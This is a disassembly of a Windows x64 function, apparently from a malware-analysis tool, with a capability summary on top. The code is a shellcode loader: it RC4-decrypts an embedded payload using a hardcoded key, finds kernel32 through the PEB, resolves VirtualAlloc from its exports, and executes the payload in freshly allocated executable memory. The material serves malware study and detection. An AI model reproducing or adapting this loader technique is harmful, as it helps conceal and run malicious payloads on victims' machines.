Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbx
push rdi
push r13
push r14
sub rsp, 0x8d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x8c0], rax
mov r13d, 6
mov dword [rsp + 0x110], 0x34333231
mov eax, r13d
mov dword [rsp + 0x114], 0x71373635
lea rcx, [rsp + 0x540]
lea rdx, [0x1400032b0]
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001050
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
mov ecx, 0x408
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movdqa xmm2, xmmword [0x140003630]
xor edi, edi
mov rbx, rax
mov ecx, 8
mov qword [rax], rdi
lea rdx, [rax + 0x28]
nop dword [rax + rax]
lea eax, [rcx - 8]
movd xmm0, eax
lea rdx, [rdx + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [rcx - 4]
paddd xmm0, xmm2
movd xmm1, eax
movdqu xmmword [rdx - 0x60], xmm0
lea eax, [rcx + 4]
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
movd xmm0, ecx
movdqu xmmword [rdx - 0x50], xmm1
add ecx, 0x10
movd xmm1, eax
pshufd xmm0, xmm0, 0
pshufd xmm1, xmm1, 0
paddd xmm0, xmm2
movdqu xmmword [rdx - 0x40], xmm0
lea eax, [rcx - 8]
paddd xmm1, xmm2
movdqu xmmword [rdx - 0x30], xmm1
cmp eax, 0x100
jl 0x140001110
mov r10d, edi
mov r9, rdi
mov r8, rdi
nop dword [rax + rax]
mov edx, dword [rbx + r9*4 + 8]
movzx eax, dl
add al, byte [rsp + r8 + 0x110]
add al, r10b
movzx r10d, al
mov eax, dword [rbx + r10*4 + 8]
lea rcx, [rbx + r10*4]
mov dword [rbx + r9*4 + 8], eax
lea rax, [r8 + 1]
inc r9
mov dword [rcx + 8], edx
cmp rax, 7
mov r8, rdi
cmovl r8, rax
cmp r9, 0x100
jl 0x140001180
mov r9d, dword [rbx]
mov r11, rdi
mov r10d, dword [rbx + 4]
nop dword [rax]
inc r9b
movzx r9d, r9b
mov r8d, dword [rbx + r9*4 + 8]
lea rdx, [rbx + r9*4]
add r10b, r8b
movzx r10d, r10b
mov ecx, dword [rbx + r10*4 + 8]
mov dword [rdx + 8], ecx
add cl, r8b
movzx eax, cl
mov dword [rbx + r10*4 + 8], r8d
movzx ecx, byte [rbx + rax*4 + 8]
xor byte [rsp + r11 + 0x540], cl
inc r11
cmp r11, 0x37b
jl 0x1400011d0
mov qword [rsp + 0x900], rbp
mov rcx, rbx
mov qword [rsp + 0x908], rsi
mov qword [rsp + 0x910], r12
mov qword [rsp + 0x8d0], r15
mov dword [rbx], r9d
mov dword [rbx + 4], r10d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r14, qword [rcx + 0x20]
test r14, r14
je 0x14000134d
lea r12, str.kernel32.dll
cmp word [r14 + 0x48], di
je 0x14000134d
mov rbp, qword [r14 + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, r12
movsxd rsi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
cmp esi, 0x104
jge 0x140001341
cmp r15d, 0x104
jge 0x140001341
mov rbx, rdi
test rsi, rsi
jle 0x1400012cb
nop dword [rax]
movzx ecx, word [rbp + rbx*2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov word [rsp + rbx*2 + 0x330], ax
inc rbx
cmp rbx, rsi
jl 0x1400012b0
add rbx, rbx
cmp rbx, 0x208
jae 0x140001571
mov word [rsp + rbx + 0x330], di
mov rbx, rdi
test r15d, r15d
jle 0x14000130b
nop dword [rax + rax]
movzx ecx, word [r12 + rbx*2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov word [rsp + rbx*2 + 0x120], ax
inc rbx
cmp rbx, r15
jl 0x1400012f0
add rbx, rbx
cmp rbx, 0x208
jae 0x140001571
lea rdx, [rsp + 0x120]
mov word [rsp + rbx + 0x120], di
lea rcx, [rsp + 0x330]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001568
mov r14, qword [r14]
test r14, r14
jne 0x140001264
mov rsi, rdi
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x140001468
movsxd rax, dword [rsi + 0x3c]
add rax, rsi
cmp dword [rax], 0x4550
jne 0x140001468
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rsp + 0x20]
mov ebx, edi
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rsp + 0x90]
add rax, rsi
mov ebp, dword [rax + 0x20]
mov r12d, dword [rax + 0x1c]
add rbp, rsi
mov r14d, dword [rax + 0x24]
add r12, rsi
mov r15d, dword [rax + 0x14]
add r14, rsi
test r15d, r15d
je 0x140001460
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r14]
lea rcx, str.VirtualAlloc
mov edx, dword [rbp]
add rdx, rsi
mov edi, dword [r12 + rax*4]
add rdi, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140001468
inc ebx
add r14, 2
add rbp, 4
cmp ebx, r15d
jb 0x140001430
mov rdi, qword [rsp + 0x110]
xor ecx, ecx
mov edx, 0x37c
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call rdi
mov r8, rax
lea rdx, [rsp + 0x540]
mov rcx, rax
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub r13, 1
jne 0x140001490
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
call r8
mov r15, qword [rsp + 0x8d0]
mov r12, qword [rsp + 0x910]
mov rsi, qword [rsp + 0x908]
mov rbp, qword [rsp + 0x900]
mov rcx, qword [rsp + 0x8c0]
xor rcx, rsp
call fcn.1400015a0
add rsp, 0x8d8
pop r14
pop r13
pop rdi
pop rbx
ret
mov rsi, qword [r14 + 0x20]
jmp 0x140001350
call fcn.1400016c8
int3